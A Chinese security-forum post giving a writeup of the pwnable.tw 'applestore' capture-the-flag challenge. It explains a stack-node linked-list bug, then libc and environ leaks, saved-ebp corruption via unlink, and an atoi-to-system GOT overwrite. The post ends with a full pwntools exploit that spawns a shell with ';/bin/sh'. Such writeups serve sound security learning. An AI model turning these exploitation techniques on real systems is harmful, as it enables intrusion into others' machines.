首页
社区
课程
招聘
[原创]pwnabletw applestore writeup
发表于: 2025-5-1 23:59 1510

[原创]pwnabletw applestore writeup

2025-5-1 23:59
1510

本题的漏洞是checkout函数中向链表中插入了一个栈上的节点. (个人理解, 这像是栈上的Use After Free?)


unsigned int checkout()

{

  int total_price; // [esp+10h] [ebp-28h]

  mystruct a1; // [esp+18h] [ebp-20h] BYREF

  unsigned int v3; // [esp+2Ch] [ebp-Ch]


  v3 = __readgsdword(0x14u);

  total_price = cart();

  if ( total_price == 7174 )

  {

    puts("*: iPhone 8 - $1");

    asprintf(&a1.str, "%s", "iPhone 8");

    a1.price = 1;

    insert(&a1);

    total_price = 7175;

  }

  printf("Total: $%d\n", total_price);

  puts("Want to checkout? Maybe next time!");

  return __readgsdword(0x14u) ^ v3;

}


首先触发checkout函数, 然后就可以在cart中直接修改最后一个节点, 这样就可以泄露libc地址


本题的保护是Partial RELRO, 可以修改GOT, 所以考虑把某个GOT表项修改为system


在delete函数中同样可以直接修改最后一个节点, 这样就可以构造出一个next和pre, 向next->pre和pre->next处写入. 我们可以把next设为某个GOT表项, 但是pre不能使system的地址, 因为libc不能写入, 所以需要其他办法


在handler中也有一个char nptr[22];如果可以把ebp的值改写为GOT表项附近的值, 那么向nptr写入时(实际是向ebp-0x22处写入), 就可以直接改写GOT表项.


所以考虑改写ebp的值, 这需要获取栈上保存的ebp值的地址, 获取这一地址的方式是先泄露environ的值, environ的值和栈上保存ebp的地址的差是一个定值(因为environ是程序初始化时栈顶的位置, 此后所有函数调用对栈的操作都是确定的, 但是和libc版本有关), 可以通过gdb调试获得. 


得到保存ebp的地址后, 就可以改写ebp为某个GOT表项附近的值, 最终要覆盖的GOT表项选择atoi


完整exp:


#!/usr/bin/env python3

from pwn import *

context(arch = 'i386', os = 'linux', log_level = 'debug')

libc = ELF('./libc_32.so.6')

#p = process('./applestore')
p = remote('chall.pwnable.tw', '10104')

_libc_start_main_got = 0x0804B034
atoi_got = 0x0804B040

def add(num):
p.sendafter(b'> ', b'2')
p.sendafter(b'Device Number> ', num)

def delete(num):
p.sendafter(b'> ', b'3')
p.sendafter(b'Item Number> ', num)

def cart(str):
p.sendafter(b'> ', b'4')
p.sendafter(b'Let me check your cart. ok? (y/n) > ', str)

def checkout():
p.sendafter(b'> ', b'5')
p.sendafter(b'Let me check your cart. ok? (y/n) > ', b'y')

#7174=199*6+299*20

for _ in range(6):
add(b'1')
for _ in range(20):
add(b'2')
checkout()
payload1 = b'yy' + p32(_libc_start_main_got) + p32(1) + p32(0) + p32(0)
cart(payload1)
p.recvuntil(b'27: ')
_libc_start_main_ad = u32(p.recv(4))
print('__libc_start_main at ' + hex(_libc_start_main_ad))

libc_start = _libc_start_main_ad - libc.symbols['__libc_start_main']
system_ad = libc_start + libc.symbols['system']

environ_ad = libc_start + libc.symbols['environ']

payload2 = b'yy' + p32(environ_ad) + p32(1) + p32(0) + p32(0)
cart(payload2)
p.recvuntil(b'27: ')
environ = u32(p.recv(4))
print('environ at ' + hex(environ))

ebp_ad = environ - 0x104

payload3 = b'27' + p32(0) + p32(0) + p32(atoi_got + 0x22) + p32(ebp_ad - 0x8)
delete(payload3)

p.sendlineafter(b'> ', p32(system_ad) + b';/bin/sh\x00')
p.interactive()



传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回